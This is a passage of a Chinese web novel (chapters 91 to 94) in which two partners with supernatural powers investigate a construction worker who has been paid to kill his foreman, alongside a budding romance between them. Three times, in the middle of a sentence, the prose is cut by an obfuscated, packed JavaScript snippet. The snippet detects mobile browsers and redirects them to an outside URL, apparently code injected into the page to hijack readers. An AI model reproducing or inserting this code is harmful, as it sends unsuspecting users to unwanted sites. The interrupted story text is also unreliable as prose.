“专业能力怎么样有刘老板的举荐那肯定是错不了的,工钱,我们老板也不缺钱,我这身行头也全是公司置办的。”独孤尽拍拍自己的胸脯,展示了一下衣服。 “我们老板看重的那主要是人品好不好,还有人际关系和不和谐,会不会惹上其他麻烦。”独孤尽故作高深,“只有和气才能生财,大家一起赚钱嘛,要是因为什么不知名的,弄了一身腥就不好了。” “这你得问老孙头,他跟柴哥干的时间最长了,柴哥把他当亲兄弟,平时不工作的时候也经常来往。”有人没忍住冒了一句嘴,立马被其他人拍了一记,“别胡说。” “谁是老孙头?”独孤尽眼睛一亮,有收获啊。 “老孙头没参与这次的工程,他家里有点儿情况。” “方便把他的联系方式给我一个吗?我怎么也要拜访一下。”独孤尽看起来特别真诚,那双眼睛闪着光。 那是很多从事工作多年的人眼里已经没有的东西。 “给他一个吧,给他一个,反正也不是什么坏事。小伙子,上门记得带点儿东西啊。”有人想到了老孙头家的情况,决定把联系方式给他。 91. 你就是我的情劫 独孤尽拿着写了老孙头电话和地址的纸条跟春渐满汇合,春渐满一见独孤尽就将他拉到了街角。 “这个柴明知有点问题。” “怎么?”独孤尽还在翻看手里的纸条,有点心不在焉。 这个老孙头,会不会就是推柴明知的人? “跟你说正事,你游魂游哪儿去了?”春渐满重重拍在独孤尽肩上。 “我这边也有点收获,回酒店再说吧。”独孤尽不放心这附近,毕竟不是在画里,生怕隔墙有耳。 “晚上吃什么?”回到现世,什么都不方便,不像在画里,想吃什么只要想,吃的就能直接出现。 “点酒店套餐吧。”独孤尽不太想在外面逗留。 “不然在外面吃完再回去?”春渐满却不太想在只有两人的密闭空间吃饭。 “春警官兴致这么好?也行,反正今天也去不了老孙头家了,公费出差,在这边逛一逛也不错。”独孤尽对春渐满的反应挺意外的,但他还挺乐意奉陪。 “我来看看……”独孤尽打开了手机,问了智能机器人这边有什么好玩的好吃的。 “再过一个多小时正好能赶上日落,不如我们去江边吃点江鲜?”独孤尽把攻略给春渐满看了一眼,春渐满没有异议,“可以。” 江虽没有海的壮阔,但日光照在水面上时,也是波光粼粼的,风一水,涟漪阵阵,驻足这里完全能够忘却尘世的烦恼。 “晚点把这些都搬画里去。”春渐满坐在船上,望着江水发愣。 他们来的是一家在船上经营的餐厅,很有卖点。虽然这江水不够清澈,但等会儿日落一下来,那也能变成浪漫的橙子汽水。 独孤尽还真没和春渐满这么悠闲的一起吃过饭,看过景。他们自从认识以来,似乎都在紧张地完成任务,为了好多好多好重的责任,好多好多好重的人命官司。 这回虽也是如此,但因着事情还没发生,且目前看来,立马会遭到迫害的只有柴明知一人,倒也能勉强在紧张里偷得一点悠闲。 独孤尽已经很久没有吹过这么惬意的风了,之前在海边的时候虽然也团建了一下,但那次春渐满不在,多少有点没滋没味。 “来,碰个杯。”独孤尽端起低度的含酒精气泡水跟春渐满碰了碰,“就祝我们之后执行任务顺利。” “这种时候提任务……”春渐满第一次见到比自己还会破坏气氛的人。 独孤尽闻言笑了笑,他轻轻拍了拍自己的嘴,“算我说错话,那祝我们此时此刻不负美景。” 春渐满总算露出了点笑意,他抿了一口,想起和独孤尽第一次见面的时候,他把独孤尽那杯红酒掠夺过来喝掉的事了。 没想到,他们竟然能心平气和,一起坐在江边吃东西,看风景。 尽管是忙里偷闲。 但此刻的美好,胜过一切。 “春警官,你的脸红了。”独孤尽觉得自己好像喝醉了。 “我脸红了?”春渐满觉得独孤尽多半是看错了,可下一秒他反应过来,没好气地捶了独孤尽一记,“笨蛋,那是霞光。” 不知不觉间,两人已经把鲜美的清炖河豚鱼、元宝河虾、鲥鱼面条都吃下了肚子,也到了日落时刻,独孤尽不知道怎么回事,根本没看江景,他的目光一直锁定在春渐满身上。 许是觉得这样吃东西更下饭,特别好吃。 被春渐满打了一下,他才回过神,把目光落在江面上,果不其然,已经变成了一片橘子汽水,似乎都能闻到空气中甜润的清新味道。 独孤尽闻着闻着,就凑到了春渐满颈边,“好好闻。” “你喝醉了。”春渐满没辙,想把独孤尽搀扶起来,往回走,独孤尽却不肯离开座位,“我没醉,我可是酒神,怎么可能醉。” “要醉,肯定是春警官你往我酒里下迷药了。”独孤尽的胡话已经开始不断了。 春渐满恨不能把独孤尽敲晕,他能这么做,但不知出于什么心理,他并没这么做,只是架着独孤尽继续往外走。 “春警官,我想起来了,我想起来了……”独孤尽忽然抓住了春渐满的衣领,把他今天刚穿的这件新西服抓得皱皱巴巴,“我是来渡情劫的。” “你喝醉了。”春渐满越听越觉得脸上发烫,这次真不是夕阳照的了,是真红了。 “你就是我的情劫,可我要怎么渡呢?我要怎么渡呢?”独孤尽基本上没怎么醉过,这回他也不知道自己怎么了,脑袋直往下沉。 “独孤尽!” 春渐满眼睁睁看着独孤尽直接昏睡了过去,手忙脚乱把他背到了背上。 要背个起码有一米九的家伙真的很费劲,这会儿他一点也不想管这次要避开画这点了,恨不得找个没人的地方就直接把人带回画里。 不然,他要背着独孤尽回到酒店,怎么也要折腾得累够呛。 想是这么想,但作为一个合格的同伴,他不可能不顾独孤尽意愿去做这件事。 好不容易打了车,回到酒店,独孤尽仍旧没醒来,索性,独孤尽真不像醉酒,他没吵没闹,只是睡着。 春渐满坐在床边看了他好一会儿。 他比独孤尽大不少,可独孤尽这人也已经该是个成熟的青年人了,但不知怎么,身上总有股稚气未脱的感觉。 如果不穿这身西装,穿套青春运动的衣服,被误认为愚蠢的大学生也一点都不违和。 兴许真的是从来不愁吃穿,每天只需要享乐,才能养得这样吧。 但据他了解到的,独孤尽重新拥有那幅画也有好几年了,接连不断经历人性的黑暗面,他还能长成这样,也是难得。 虽然有的时候会给人一种很恐怖的冷漠感,但多数时候,就像现在一样,傻的很。 春渐满不自觉眼神都柔软了,他伸手揉了一下独孤尽的头发,轻叹了口气。 按理,他该多照顾独孤尽一些,但也不知道怎么回事,每次跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688988|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 独孤尽在一起,总让人忘了他的年龄,他甚至记不起来自己比独孤尽还要大上好几岁。 也许跟能力有关,能力更强的人,照顾别人似乎更得心应手。 就在春渐满愣神之际,独孤尽突然双手环住了春渐满的脖颈,将他往下带了带,一同倒在了床上。 “唔……春警官,好香。”独孤尽也不知道梦到了什么,那张吃过东西变得红润的唇半张半合就要往春渐满身上贴。 春渐满一把将他推开,甚至在紧要关头想起了正事,“醒醒!柴明知的事我们还没说。” “唔……”独孤尽依旧没有意识。 春渐满将他提了起来,拖到了浴室,打开了花洒,往他脸上喷了一脸水。 “敌袭?!”独孤尽这下醒了,他一个激灵直接站了起来,手上已经聚集了一些能量,正准备攻击。 “醒了?讲正事,柴明知他没面上看起来那么好大哥。”春渐满无缝衔接直接开讲。 “……春渐满你上辈子是不是监工,我休息一下怎么了,犯得着你这么把我叫醒吗?!”独孤尽看清了自己是被什么袭击的,顿时怒从心头起,他抓着花洒就要往春渐满身上淋。 “先说正事。”春渐满那双鹰眸里全是不容置喙。 “好,说完我再跟你算账。”独孤尽暂时妥协,他用毛巾把脸擦干,头发上也渐上了一些水珠,看起来格外可怜。 “我问到了一个有点特殊的人,大家叫他老孙头,他跟柴明知好像有特殊的关系,从面上看,大家都觉得他们关系很好,但据说这次老孙头因为家里有事,没参与这回的项目。”独孤尽很快进入了状态,他从口袋里摸出那张纸条。 纸条上的内容他已经熟记于心。 “柴明知没跟我提起这个老孙头,似乎有意隐瞒,这里面绝对有问题,你的画呢,没再预示你点别的?”春渐满虽想靠自己的能力去推断,但用多了画这种作弊神器,难免有点依赖。 “没呢,好不容易做个梦,还跟你有关,还被你强行叫醒了。”说到这个独孤尽就来气。 “这个柴明知,他话里话外都是想跟我一个人做生意,他的那些兄弟给多少工钱,他要自己说了算,我感觉他不是要多分给人家,是要克扣。”春渐满回忆起自己单独和柴明知交谈时,柴明知给他的感觉。 “你答应他了?” “没,所以没谈下来,我让他再考虑考虑,我给的条件很优渥,他应该很心动,而且,给他的比他手下那些多出一倍,我不知道他在犹豫什么。”春渐满觉得自己给价特别良心。 “知道中间商赚差价吗?柴明知说不定就想做这中间商,可能也不会赚太多,看他手下对他还都挺赞不绝口的,估计也就多赚那么一些吧。”独孤尽大胆猜测,一切还要等明天去了老孙头家才能知晓。 “时间不早了,春警官,我们该洗洗就寝了。”独孤尽那双桃花眼危险地眯了起来,他举起花洒往春渐满身上淋去。 92. 瘫痪的老人 春渐满虽有防备,可手刚抬起来,还是放了下来,任凭独孤尽淋了他一身。 倒是独孤尽有些意外,“你怎么不躲?” “你说的对,该洗澡休息了。”春渐满接过花洒,顺便把独孤尽推出了浴室。 这一晚上独孤尽睡得依旧昏天黑地,但睡前总觉得自己忘了什么重要的事,而春渐满却没睡好,他总记得独孤尽说要渡情劫。 既然是劫难,那岂有轻易的。 昏昏沉沉睡到天亮,他觉得身旁有什么温热的东西,猛然睁开眼,看到的是独孤尽放大的面庞。 险些直接推开独孤尽,春渐满转了个身,背过去,揉了揉自己的太阳穴。 他什么时候警惕性这么低了,身旁多了个人都没察觉。 独孤尽在他房里睡得好好的,怎么还梦游。 春渐满还看了两眼,确保不是自己梦游,没冤枉了独孤尽。 又琢磨了一会儿睡前就在纠结的情劫这事儿,最终还是没把独孤尽叫醒,他自己先起床了。 一通折腾后,独孤尽仍旧没有清醒过来,他还在梦乡里畅游。 春渐满出去晨跑,又沿着江边买了些早点回来,独孤尽才将将醒过来。 “先前不知道,春警官,你这也太自律了,可怕可怕。”独孤尽边说边往春渐满手上提着的袋子里摸。 春渐满直接把早餐袋子递给了独孤尽,“去桌上吃。” 套间里有个小餐厅,布置得格外有情调,就差把精美的餐烛点燃了。 “不如,我们把窗帘拉上,点上这蜡烛,吃一顿烛光早餐?”独孤尽突发奇想,不然总觉得光秃秃的蜡烛摆那怪可怜的。 “吃你的饭。”春渐满可没功夫陪独孤尽玩这些,他在想今天是陪独孤尽一起上门,还是去找那位他们借了名头的刘老板。 “老孙头那边,你……”春渐满刚起了个头,就被独孤尽用食指抵在了唇上。 “别一边吃饭一边讲这些扫兴的事,吃完再说。”吃饭就该好好吃,不然美食会被辜负。 “我们以前办公都是争分夺秒。”春渐满解释了一句,他的工作后遗症一时半刻估计改不过来,但他也没有强迫独孤尽跟他一样。 “所以你们容易夭寿啊,这世上这么多案件,要讲究方法,要开源节流,你这么着,再有能力,也只能为人民服务几十年,有的只有十几年几年,要先保全自己,才能更好地、更长久地服务大家。” 虽然知道独孤尽说的是歪理,但春渐满还真听进去了,这歪理还真挺像真理的。 “放心,我也就只管你这么一个,旁人我管不着,你不要有太大的负担,不会影响整个行业的。”独孤尽抚上春渐满下意识皱起来的眉头。 “长挺好看一人,总这么严肃,要长皱纹了。” 突然被独孤尽夸了外形,春渐满颇感不自在。 独孤尽把小笼包、豆腐脑、不知名但是很好吃的饼吃完,摸摸肚皮,惬意地打了个饱嗝,起来走动了两圈,换上衣服。 “今天我一个人去老孙头家,你是不是有别的要去做?” 有些事春渐满还没说出口,独孤尽就有所感应,春渐满有时候觉得独孤尽真的深不可测。 “是,我打算跟刘山见一面。”刘山就是刘老板。 “两人同去,老孙头可能会有戒备心,不容易跟我们说出什么,你一个人,更好行动。” “刘山那边,你小心着点,虽说这次行动不打算让画里的那些神兽们知道,但实在有危险,还是那句话,直接回画里,别管会不会被人发现。”说白了,就算有人发现春渐满能够瞬间消失,那也没辙。 谁能查到他在哪儿? 没人。 那就没有危险。 “我知道,你也一样。”虽然老孙头那边看起来没什么危险,但谁也说不准,可能看起来安全的才是最危险的。 两人说好后,立马开始分头行动。 独孤尽去买了一些粮油蔬果,当然不是他自己拎着,是让店家送到老孙头家门口,而他自己,也重新捯饬了一下,他看起来还是太年轻了,故意往自己脸上添了几道岁月的皱纹,这才满意地揉了揉头发,让它看起来没那么春风得意。 所有东西都准备好后,独孤尽站在老孙头家门口,装模作样敲了敲。 门里有一些吵闹,但没过多久就有脚步声越来越近。 独孤尽站在门外就能感知到门里大约有五人,这是个大家庭。 “谁啊?”开门的似乎就是老孙头。 毕竟没有人比他更像男主人了。 “您好,我是柴明知的朋友,过来看看您。”独孤尽没错过老孙头的任何一个反应,他先是下意识愣了一下,紧接着强烈忍住了蹙眉的冲动,嘴角抖动了几下才露出一个僵硬的笑容,“来就来吧,还带这么多东西。” 他把独孤尽迎了进去,还帮着把门口那些东西拿了进去。 不管怎么样,他家是真的缺。 老孙头家特别小,但里面住了五口人,是老孙头的父母亲,他和他的老婆,还有个孩子,这孩子是个小孩。 “这是你们的……”独孤尽没敢猜测。 “这是我孙子,快叫叔叔。”独孤尽即便往脸上抹了皱纹,但看起来还是年轻。 “叔叔好。”小孩乖乖巧巧叫了人就躲进了房间。 “孩子还小,让你见笑了,家里没什么地方,你就坐这吧。”老孙头搬了一张椅子过来,自己则坐在了一张一看就很有年头的小马扎上。 说不定,这马扎比他的年龄都大了。 独孤尽目不斜视,直接开门见山,“您就是老孙头吧?实不相瞒,我呢,也不是柴明知的什么朋友,是我们打算找柴明知做个项目,但我们老板为人谨慎,做事情前要先了解一下这个……” “大家跟我们推荐了您,说您跟柴明知关系最好,有什么要了解的只要问您,您肯定知无不言。”独孤尽极其诚恳,不得不说,他的演技比先前好了不止一星 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688989|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半点。 “听说,这回您有点儿情况,没跟着柴明知一起做?”独孤尽见老孙头还在打量他,并未开口,只能继续起了话头往下说。 “家里老人瘫痪了,离不开人。” “您夫人?” “你别看我是个大老粗,我老婆那可是硬饭碗,是个老师,要带高三生,天天起的比鸡早,回来的比星星晚,我总不能因为家里老人耽误她,我工作不稳定,哪里有工程就跟着做,那也是我妈,只能我来。”老孙头说到这里语气愈来愈沉重。 “我爸脑子不太……也要人照顾,先前一直是老母亲照顾他,现在他又没法照顾人,家里你也看到了,还有个小孙子。”老孙头说到这里,干脆把情况全盘托出,“儿子儿媳都在外面工作,连孩子都照顾不了,别说家里老人了。” 不对劲,按理说,老孙头的夫人应该已经出去上班了,那他感知到的五个气息是怎么回事? “喵呜……”很快,这个答案揭晓了。 “这是小孙子非要养的猫,他从外面抱回来的,抱回来的时候瘦的皮包骨,现在倒是有些肉了。”老孙头看到猫儿的时候眼神终于放软了,他伸手招了招,猫很通灵性,直接挨过去蹭了蹭老人的手。 看到独孤尽的目光,老孙头把猫儿抱起来,送到了独孤尽手里,“先前我也不想养这东西,家里这情况,哪还能再养只小畜生啊,可是,它就吃那么点儿东西,但看到它,总让人开心。” 独孤尽猝不及防被塞了个满怀,只能手忙脚乱把猫抱好,猫好像也很喜欢他,直接在他身上翻出了肚皮。 像是有猫的验证,老孙头的警惕性总算放低了。 “小猫喜欢你,那我跟你说句实话。”老孙头压低了声音,“别跟柴明知做项目。” “此话怎讲?”独孤尽同样压低了声音。 “旁人眼里都觉着是他在照顾我,其实一开始,这项目就是他从我手里抢过去的。”老孙头顿了顿,“他这个人,也挺能干,愿意干,本来也是看中他这点,但没想到他这么狠,也不能叫狠吧,有些生意确实要竞争,但他这么做太不厚道了。” 老孙头说得没头没尾,独孤尽抽丝剥茧才明白,柴明知说坏也不是多坏的人,但办事确实不厚道,把老孙头手里的活抢过去,他成了领头的,拿了大头,还克扣了原本上面答应给他们的工资。 这件事只有老孙头知道,所以柴明知总时不时还会多给老孙头一些。 那些不知道的人,既然都不知道了,赚得也不少,自然也只会说柴明知的好话。 独孤尽低头思忖了片刻,他总觉得不该,如果只是这样,老孙头没理由再次出现在工地,还把柴明知推下去只他于死地。 这不是生死局啊,没道理。 像是想到了什么,独孤尽继续轻声问,“您家老人,什么时候瘫痪的?是怎么回事?” 这次,像是用对了钥匙,老孙头的神情瞬间精彩起来,可紧接着的,就是将独孤尽推出了家门。 93. 不想救的人 独孤尽站在门外许久,他没再敲门,许是知道再敲门,老孙头也不会再开门了。 既然跟家中老人有关,那老人的瘫痪很有可能和柴明知脱不了干系。 现在时间尚早,他要想想别的法子。 他在小区外的草坪旁耐心等着,等着老人的小孙子出来玩。 和别的小孩儿不一样,别的孩子出门玩基本上都会有大人看着,可这小孩儿是自己一个人出门溜达的,不过范围很近,也只会在小区里溜达。 老孙头会让猫陪着小孩儿,他自己需要在屋里看着瘫痪的老人。 独孤尽又等了一会儿,小孩儿果然出门了。 “叔叔你怎么还在这?”小孩儿有那么点戒心但不多,独孤尽拿出猫条来喂小猫的时候,小孩儿就彻底放下了戒心。 在他心里,对猫猫好的,就是好人。 “叔叔担心你爷爷他们。”独孤尽放柔了语气,还稍微夹了一下,听起来能让孩子更加亲近。 “那就不用担心啦,爷爷说,我们家很快就会有钱了。”小孩儿说完就捂住了嘴,似乎想起来自己不该说这些。 独孤尽装作没听到,反而继续关心别的,“你太奶奶是怎么生病的?” 小孩见独孤尽没问他说漏的事儿,戒心更少了,立马回答,“太奶奶本来身体还行,有一天出去,不知道怎么摔了一跤,还是柴爷爷送回来的。” “柴爷爷经常来你家吗?” “以前常来,最近不怎么来了,也不给我带玩具了。” “叔叔这里还有一些猫条,你带回去下次喂小猫,叔叔走啦。”独孤尽把手里的猫条都给了小孩儿。 这回,要救的人可能并不是柴明知,而是这个老孙头。 独孤尽大概咂摸出了点事情的始末,但一切都还是猜测,没有证据。 取证困难,那就只能让“怪奇诊所”继续开业了。 独孤尽重新找了个地方,一直等到中午,感知到屋里的人呼吸逐渐平稳,他才将“怪奇诊所”的范围扩了过去。 和往常不一样,往常都手段粗暴,这回他可是悄无声息进了老孙头的梦境。 午睡多数时候都睡不沉,但独孤尽仍旧轻而易举就找到了梦里的老孙头。 他正手里拿着刀,在磨刀霍霍。 那神情格外狠戾,像是要做什么大事去。 “老孙头。”独孤尽喊了他一下,“你要去干什么?” “干什么?当然是去杀了那家伙!”许是在梦里,没了现实中的约束力,老孙头眼里全是红血丝,他拿起刀,刀尖向着什么不知名的东西猛刺。 “杀了他之后呢?”独孤尽只用了一个指尖就将刀抵住了,让老孙头无法动弹半分。 “杀了他之后,我就有钱了,我就有钱了。”老孙头有点癫狂,嘴角全是冷笑。 独孤尽没法把杀人和拿钱联系起来,除非是杀手。 “为什么杀了他,能拿钱?”独孤尽仗着在梦里,什么都敢直接问,反正就算得不到答案,他也能透过老孙头的记忆再去看。 “哈哈,有人要他的命,他这些年抢工程得罪了不少人,他们找到了我,因为我是最深得他信任的人,不会对我产生防备。” “谁要他的命?”独孤尽没法锁定幕后人。 “还能有谁,张华,他早就看不惯柴明知了。”老孙头说着说着,眼里居然还流出泪来。 “张华哪来那么多钱给你?”即便柴明知阻了他的钱路,但这笔买卖明显不划算。 “不对,张华要给你多少?”独孤尽想到了一点什么,立马问老孙头。 “二十万,张华能给我二十万。”老孙头果然说出了一个让独孤尽毛骨悚然的数字。 二十万,杀一个人。 二十万。 “你媳妇不是铁饭碗吗?你还缺这二十万?”独孤尽觉得匪夷所思。 “铁饭碗只够我们日常开销,本来我在外面还能多挣一些,结果被那个畜生弄的我老娘瘫痪在床,我也没办法出去再赚钱,这二十万买那个畜生的命不亏。” 搞了半天,根本不是图钱,是图柴明知的命。 怪不得二十万就能买一条人命。 独孤尽这会儿还真不好断谁好谁坏了,根本没好人。 太复杂,他甚至不想参与其中。 谁中的因,就该得到这样的果。 这会儿,独孤尽不想避开画和神兽们了,他很想回去问问画,为什么这种因果关联得很好的案子也要他来插手。 他不想救人。 谁都不想救。 独孤尽退出老孙头的梦,回到酒店已经下午,春渐满还没回来,估计还在那边跟大老板谈那莫须有的生意。 独孤尽坐在窗边,看着楼下来来往往的行人。 许是刚知道了事情的始末,独孤尽只觉得众生皆苦,甚至不知道有什么可以让他快乐起来的了。 春渐满回来的时候,脸上神情倒是挺轻松,一打眼,他就看到了坐在窗边那个落寞的身影。 他很少看到独孤尽露出这样的姿态,倒是多看了两眼。 “怎么,不顺利?” “顺利,太顺利了。”独孤尽没有转过头,他还在看楼下那些如同蝼蚁般大小的人。 “那怎么这种神情?”春渐满在路上还买了两杯喝的,给独孤尽递过去了一杯,“喝点甜的,恢复一下。” 独孤尽接过一看,是港式柠檬水,“这是酸的吧?” “我尝了一口,挺甜的。”春渐满平时不太喝这种东西,虽然要的是三分糖,但喝起来还是超过他的甜度了。 独孤尽插上吸管,喝了一口,酸酸甜甜倒是味道正好。 “谢谢。” 还没等春渐满开口说些什么,独孤尽又接着问了一句,“你觉得我对你好吗?” “啊?”这话把春渐满给问懵了。 “你会背叛我吗?”独孤尽没等春渐满回答,又问了一句。 接二连三的问话,终于让春渐满意识到独孤尽有点儿不对劲了。 “你跟老孙头的碰面发生了什么?” “没发生什么让人意外的事,就是突然觉得人间好没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688990|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意思。”独孤尽这话说得让人想带他去看医生。 去看心理医生。 “觉得我挺消极的是吧?没办法,就是突然觉得一切没了意思。”独孤尽越说春渐满越紧张。 就在春渐满努力组织语言打算劝一劝独孤尽时,他终于转过了身,轻轻捶了春渐满一下,“看把你紧张的,我没事。” “就是这次的事我不太想管。”独孤尽指了指自己,“我觉得虽然管了这次能救下两个人,或者说,救下两个家庭,但这里面的因果本来就从很久之前种下了,我不想去扰乱。” 独孤尽说完又叹了口气,“说到底,我就是觉得这俩都不是什么好人,我哪个都不想救。” “这画要真的以前就是我的,那以前的我得圣母到什么程度啊,还非逼着自己去救人。”独孤尽越想越憋屈,这叫什么事儿。 “兴许你没看到的未来,这两人会有更坏的影响。”春渐满只能这么劝独孤尽。 “更坏的影响,又是培养杀人魔吗?”独孤尽想到了之前那个开花店的女孩。 难不成老孙头这次迫害真的成功了,之后他有把柄在张华手里,又帮他解决了其他人? 可老孙头既不图钱,也不像是会因为别的心狠手辣的人,这次有他纯粹的怨恨,多年累积才会让他痛下杀手。 “行吧,春老师真不愧能做众神兽们的老师,挺会为人解惑啊。”独孤尽站起来松了松肩膀,重新又喝了一口果茶,果茶比之前更好喝了一点。 “别贫了,我今天去跟刘老板谈生意基本上算谈成了,这个刘老板人还行,生意你接不接?” 独孤尽没想到春渐满真跑去跟人谈生意了,还谈成了。 “案件相关呢?” “刘老板这人没问题,他对柴明知也不是特别熟,说如果我看上了的话,等这次的工程结束,大可以自己找他聊。” “所以,你就给我接了个活?”独孤尽嘴角抽了一下,他身边怎么全是工作狂。 “你不想接,也可以把活安排给神兽们。”春渐满对于自己教出来的学生很有信心。 “本来这回出来就瞒着他们,还给他们安排个活?”独孤尽越想越觉得头皮发麻。 “有什么问题吗?” “没,没,您厉害,您可太厉害了,要说你去说,我不说。”独孤尽恨不得说,要赚钱你去赚,我不想赚。 “刘老板人真的还挺厚道,工头能给到这个数,下面的工人也给这么多。”春渐满给独孤尽比划了一下。 独孤尽想到老孙头说的,叹了口气,柴明知干得确实不厚道,但人也是他集结的,活也是他找的,抽掉一些,说特别过分吧,也不是特别过分。 “救,救吧,救吧。”独孤尽有点自暴自弃。 比起救人,他还是觉得自己更适合抓坏人,让坏人自投罗网。 “春老师,打个商量,这回救人,你帮我救怎么样?” “……可以,但之后你要答应我一件事。”春渐满见独孤尽状态实在不佳,应了下来。 “好好好,一百件我都答应。” 94. 难不成我是天? 一百件是虚数,但独孤尽此时此刻是真不想救那一对冤家。 “你能给我透个底儿不,跟什么相关?” “放心,不会让你太为难。”春渐满根本没想好要让独孤尽帮他做什么,只是为了顺势接下独孤尽不想做的事。 “人我去救,刘老板那边的生意,你记得接了。”春渐满不忘提醒独孤尽。 “这就是你说的那件事吗?”独孤尽试图耍赖。 “不是,你要不答应,人我不帮你救,反正画会一直催你。”春渐满虽然不知道独孤尽不积极,画会怎么折磨独孤尽,但按照独孤尽的惰性,如果不是画有特殊手段,他断然不可能这么自觉地去完成一个接一个的任务。 “行行行,说了可以答应你一百个条件就是一百个。”独孤尽只能应下。 一回生,二回熟,这晚,春渐满睡得很香,失眠的那个人反而变成了独孤尽。 独孤尽在那琢磨以前的自己。 他弄不明白以前的自己究竟是什么样的,为什么要安排这些个看起来像专门针对他的磨难。 但他失眠没多久,想到春渐满答应帮他,还是沉沉睡了过去。 完美分工的两人,各自分头行动,只要想到不用去救他不想救的人,即便要去上班谈项目,独孤尽都步履轻快。 昨天,春渐满已经跟刘老板谈得差不多了,算是初敲定,只不过最终的合同还没出,今天独孤尽去只需要看一眼合同,没什么问题签下来就成了。 独孤尽那双桃花眼里都是笑意,让人如沐春风,刘老板一见独孤尽都不用再多谈,把合同给他后就打算邀请他去附近的餐厅吃上一顿。 盛情难却,独孤尽难得应酬了一顿,不过这顿吃得是宾主尽欢,没人劝酒,也没人聊那些不开心的,刘老板竟然只跟他讲当地的风土人情,说得他还想再听会儿,饭就吃完了。 “刘老板,以你这样的口才,都能去当主持人了。”独孤尽恭维了一句,不过这还真是他的真心话。 “主持人我还差得远,在我起家之前,当过一段时间的导游,把这边一片都了解了个透彻,所以爱讲这些。” “那这转行转得也挺大。”隔行如隔山,刘老板能做到这种程度,估计跟他这个人本身有很大关系。 大家都爱跟你好我好大家好的爽快人谈生意,恰巧刘老板就是这样的人。 “你别看我现在游刃有余的样子,那都是做出来了,早些年的时候也要在酒局上跟人拼命的。”刘老板难得眯起眼睛回忆了一下过往。 有些过去是他的来路,因为不喜,反倒造就了现在的他。 “我不爱搞那些虚的,生意就该在饭局外谈好,喝了酒稀里糊涂的,条款都看不清,有些还会在酒醒后赖账,麻烦的很,我不喜欢。”刘老板冲独孤尽笑了一下。 “昨天来的那小子也是个爽快人,跟我聊得都是正事,没想到他居然不是老板本人,不过你也不赖,你们俩我都喜欢。”刘老板爽朗地拍了拍独孤尽的肩膀。 “我比他还差点儿,不过字儿只能我签。”独孤尽嘴角抽了一下,如果可以,他倒是想让春渐满签字,他也不是很想赚这笔钱。 他实在太怕麻烦了。 但当着刘老板的面,他还是不能表现出来的,毕竟这么大的人了,也得懂点儿人情世故,太作就有点儿拎不清了。 “你给他多少?他帮你谈得尽心尽力,占着股份吧?”刘老板试探了一下。 “呃……我跟他不分彼此。”独孤尽纠结了一下,说出个模棱两可的回答。 刘老板重新打量了独孤尽一下,露出个原来如此的表情,“是我狭隘了,你们居然……” “刘老板,祝我们合作愉快。”独孤尽直接打断了刘老板接下来的话,他总觉得人家误会了什么。 但也正是如此,让他想到了某些可能性。 他跟春渐满到底是什么关系? 独孤尽头一次这么认真思考,先前他一直把春渐满当成自己的小弟,人民的公仆,正义的使者,神兽们的老师,可他跟他之间…… 他们经历了好多次生死相关的任务,算战友吗? 肯定算。 但,只是战友吗? 独孤尽细想来,越觉得不对劲。 不是春渐满不对劲,而是他自己不对劲。 他好像先前一直在刻意忽略春渐满的存在,只是把他当成小弟,一个人类小弟,可以让自己不那么孤寂。 可有好多次,他记不清有多少次,他都很在意春渐满,被他牵动情绪。 这是战友会产生的情绪吗? 独孤尽没谈过恋爱,但他看过太多影视剧,哪怕是理论总结,他也能总结出自己应该对春渐满有一些他自己一直不敢点破的情感存在。 “刘老板,谢谢。”他诚恳地和刘老板道谢。 “不必客气,我们合作是双赢。”刘老板显然不是独孤尽肚子里的蛔虫,猜不到独孤尽这边谈着合作,脑子里却全是感情废料。 他现在迫不及待想要去见春渐满,跟他确认一些事情。 其实,不用见春渐满,他就已经确认地差不多了,他现在极需找个地方,一个人独处会儿,理一理。 告别了刘老板,独孤尽找了棵大树,趁没人看见,脚下生风,蹭蹭几步就坐在了树杈上。 这树茂密,只要不是有人想要掏鸟窝,一般散步、路过都不会发现上面坐了个人。 毕竟,现在连小孩儿都变得娇贵起来,能爬树的人少之又少了。 独孤尽原还觉得这是个惬意的地方,可坐了没一会儿,他就被树叶打了好多下,这树有点儿太枝繁叶茂了。 可他也不好徒手断枝,只能用手挡在脸前,才勉强不会被树叶打扰。 这会儿,他眼前虽然一片绿油油,但心里却在冒红心。 他就是喜欢春渐满,从一开始觉得有趣,不想他掺和进自己这一堆危险的事里,到后来默认他跟在身边,参与一桩桩一件件案子,解决一个个任务,就好像已经习惯了 